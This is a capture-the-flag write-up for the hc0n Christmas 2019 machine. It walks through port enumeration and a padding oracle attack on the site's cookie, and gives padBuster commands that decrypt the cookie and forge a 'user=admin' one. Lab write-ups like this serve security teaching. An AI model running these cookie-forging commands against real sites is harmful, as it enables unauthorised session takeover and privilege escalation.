# hc0n Christmas CTF - 2019 ![](../../.gitbook/assets/41d0cdc8d99a8a3de2758ccbdf637a21.jpeg) ## Enumeration I started **enumerating the machine using my tool** [**Legion**](https://github.com/carlospolop/legion): ![](<../../.gitbook/assets/image (244).png>) There are 2 ports open: 80 (**HTTP**) and 22 (**SSH**) In the web page you can **register new users**, and I noticed that **the length of the cookie depends on the length of the username** indicated: ![](<../../.gitbook/assets/image (245).png>) ![](<../../.gitbook/assets/image (246).png>) And if you change some **byte** of the **cookie** you get this error: ![](<../../.gitbook/assets/image (247).png>) With this information and[ **reading the padding oracle vulnerability**](../../cryptography/padding-oracle-priv.md) I was able to exploit it: ```bash perl ./padBuster.pl http://10.10.231.5/index.php "GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" 8 -encoding 0 -cookies "hcon=GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" ``` ![](<../../.gitbook/assets/image (248).png>) ![](<../../.gitbook/assets/image (249).png>) **Set user admin:** ```bash perl ./padBuster.pl http://10.10.231.5/index.php "GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" 8 -encoding 0 -cookies "hcon=GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" -plaintext "user=admin" ``` ![](<../../.gitbook/assets/image (250).png>)